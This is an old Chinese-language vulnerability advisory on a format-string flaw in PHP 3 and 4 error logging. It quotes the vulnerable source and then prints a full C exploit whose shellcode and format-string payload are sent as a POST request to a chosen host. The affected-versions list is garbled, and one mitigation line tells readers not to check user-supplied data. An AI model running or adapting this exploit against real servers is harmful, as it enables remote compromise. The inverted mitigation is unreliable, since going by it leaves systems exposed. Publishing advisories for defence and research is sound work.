首页 -> 安全研究
安全研究
安全漏洞
PHP 错误记录格式串漏洞
发布日期:2000-10-13
更新日期:2000-10-13
受影响系统:
不受影响系统:
PHP 4.00
PHP 3.00
描述:
PHP 4.0.3
PHP 3.0.17
PHP 3和PHP 4中所带的一系列记录函数错误地使用了'syslog()'和'vsnprintf()'以及
'fprintf'等函数。如果使用PHP的web服务器利用syslog进行记录或者在php.ini文件中
打开了错误记录开关,攻击者可能利用这个漏洞远程攻击该web服务器。这个问题不影
响那些不进行PHP错误记录的web主机。
在PHP 4和PHP 4中都有下列类似函数:
main/php_syslog.h:
#define php_syslog syslog
main/main.c:
void php_log_err(char *log_message)
{
...
php_syslog(LOG_NOTICE, log_message)
...
fprintf(log_file, "[%s] ", error_time_str);
fprintf(log_file, log_message);
fprintf(log_file, "\n");
....
}
第二个fprintf是有问题的,如果“log_message”中包含用户输入的格式串,就可能被
攻击。如果打开了错误记录开关,'php3_error'就会调用php_log_err来进行记录(对于
PHP3来说)。
main/main.c:
PHPAPI void php3_error(int type, const char *format,...) {
...
char log_buffer[1024];
snprintf(log_buffer, 1024, "PHP 3 %s: %s in %s on line %d",
error_type_str, buffer, filename, php3_get_lineno(GLOBAL(current_lineno)));
php3_log_err(log_buffer);
...
}
functions/post.c:
static char *php3_getpost(pval *http_post_vars)
{
...
php3_error(E_WARNING, "File Upload Error: No MIME boundary
found");
php3_error(E_WARNING, "There should have been a
\"boundary=3Dsomething\" in the Content-Type string");
php3_error(E_WARNING, "The Content-Type string was: \"%s\"",
ctype); // 有问题的代码
...
}
如果用POST方式提交的数据中缺乏边界分割串,PHP进行记录时就会将Content-Type
中的内容记录到文件中去,而这个字符串的内容是由用户提供的,攻击者可以将
格式串和溢出代码储存在这里面进行攻击。
PHP 4同样有问题,当一个文件通过POST方式上传的时候,如果文件名中包含格式串
代码并且文件的大小超过最大上传文件字节数(缺省是2M),下列代码会被执行:
static void php_mime_split(char *buf, int cnt, char *boundary, zval
*array_ptr)
{
...
php_error(E_WARNING, "Max file size exceeded - file [%s] not
saved", namebuf);
...
}
这同样可能导致远程攻击。
<* 来源:Jouko Pynn鰊en (jouko@solutions.fi)
DilDog (dildog@atstake.com)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
DilDog (dildog@atstake.com) 提供了下列测试程序:
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<netdb.h>
#define BSIZE 1549
#define BUFFERZONE 128
int main(int argc, char *argv[])
{
int i,start,count;
int stackloc=0xBFFFDA60;
int s;
FILE *f;
fd_set rfds;
struct hostent *he;
struct sockaddr_in saddr;
char sploit[BSIZE];
char file[]="/tmp/BADPHP";
char c;
if(argc!=5) {
printf("%s <addr> <port> <offset> <php file name>\n",argv[0]);
printf("offset=0 for most systems.\n");
return 0;
}
/*** build exploit string ***/
/* write bad format string, adding in offset */
snprintf(sploit,sizeof(sploit),
"Content-Type:multipart/form-data %%%uX%%X%%X%%hn",
55817 /*+offset0,1,2,3*/ );
/* fill with breakpoints and nops*/
start=strlen(sploit);
memset(sploit+start,0xCC,BSIZE-start);
memset(sploit+start+BUFFERZONE*4,0x90,BUFFERZONE*4);
sploit[BSIZE-1]=0;
/* pointer to start of code (stackloc+4) */
count=BUFFERZONE;
for(i=0;i<count;i++) {
unsigned int value=stackloc+4+(count*4);
if((value&0x000000FF)==0) value|=0x00000004;
if((value&0x0000FF00)==0) value|=0x00000400;
if((value&0x00FF0000)==0) value|=0x00040000;
if((value&0xFF000000)==0) value|=0x04000000;
*(unsigned int *)&(sploit[start+i*4])=value;
}
start+=BUFFERZONE*4*2;
/*** build shellcode ***/
sploit[start+0]=0x90; /* nop */
sploit[start+1]=0xBA; /* mov edx, (not 0x1B6 (a+rw)) */
sploit[start+2]=0x49;
sploit[start+3]=0xFE;
sploit[start+4]=0xFF;
sploit[start+5]=0xFF;
sploit[start+6]=0xF7; /* not edx */
sploit[start+7]=0xD2;
sploit[start+8]=0xB9; /* mov ecx, (not 0x40 (O_CREAT)) */
sploit[start+9]=0xBF;
sploit[start+10]=0xFF;
sploit[start+11]=0xFF;
sploit[start+12]=0xFF;
sploit[start+13]=0xF7; /* not ecx */
sploit[start+14]=0xD1;
sploit[start+15]=0xE8; /* call eip+4 + inc eax (overlapping) */
sploit[start+16]=0xFF;
sploit[start+17]=0xFF;
sploit[start+18]=0xFF;
sploit[start+19]=0xFF;
sploit[start+20]=0xC0;
sploit[start+21]=0x5B; /* pop ebx */
sploit[start+22]=0x6A; /* push 22 (offset to end of sploit (filename)) */
sploit[start+23]=0x16;
sploit[start+24]=0x58; /* pop eax */
sploit[start+25]=0x03; /* add ebx,eax */
sploit[start+26]=0xD8;
sploit[start+27]=0x33; /* xor eax,eax */
sploit[start+28]=0xC0;
sploit[start+29]=0x88; /* mov byte ptr [ebx+11],al */
sploit[start+30]=0x43;
sploit[start+31]=0x0B;
sploit[start+32]=0x83; /* add eax,5 */
sploit[start+33]=0xC0;
sploit[start+34]=0x05;
sploit[start+35]=0xCD; /* int 80 (open) */
sploit[start+36]=0x80;
sploit[start+37]=0x33; /* xor eax,eax */
sploit[start+38]=0xC0;
sploit[start+39]=0x40; /* inc eax */
sploit[start+40]=0xCD; /* int 80 (_exit) */
sploit[start+41]=0x80;
/* add filename to touch */
strncpy(&sploit[start+42],file,strlen(file));
/*** send exploit string ***/
/* create socket */
s=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s<0) {
printf("couldn't create socket.\n");
return 0;
}
/* connect to port */
memset(&saddr,0,sizeof(saddr));
saddr.sin_family=AF_INET;
saddr.sin_port=htons(atoi(argv[2]));
he=gethostbyname(argv[1]);
if(he==NULL) {
printf("invalid hostname.\n");
}
memcpy(&(saddr.sin_addr.s_addr),he->h_addr_list[0],sizeof(struct in_addr));
if(connect(s,(struct sockaddr *)&saddr,sizeof(saddr))!=0) {
printf("couldn't connect.\n");
return 0;
}
/* fdopen the socket to use stream functions -otgpdvt */
f=fdopen(s,"w");
if(f==NULL) {
close(s);
printf("couldn't fdopen socket.\n");
return 0;
}
/* put the post request to the socket */
fprintf(f,"POST %s HTTP/1.0\n",argv[4]);
fputs(sploit,f);
fputc('\n',f);
fputc('\n',f);
fflush(f);
/* close the socket */
fclose(f);
close(s);
return 0;
}
建议:
临时解决方法:
NSFOCUS建议您在没有升级PHP前,暂时关闭'php.ini'中log_errors开关,例如变成下列格式:
log_errors = Off
同时使用error_log()函数时不要对用户提供的数据进行检查。
厂商补丁:
PHP已经提供了升级版本解决了这个问题:
PHP4 :
http://www.php.net/do_download.php?download_file=3Dphp-4.0.3.tar.gz
PHP3:
http://www.php.net/distributions/php-3.0.17.tar.gz
浏览次数:6256
严重程度:0(网友投票)
绿盟科技给您安全的保障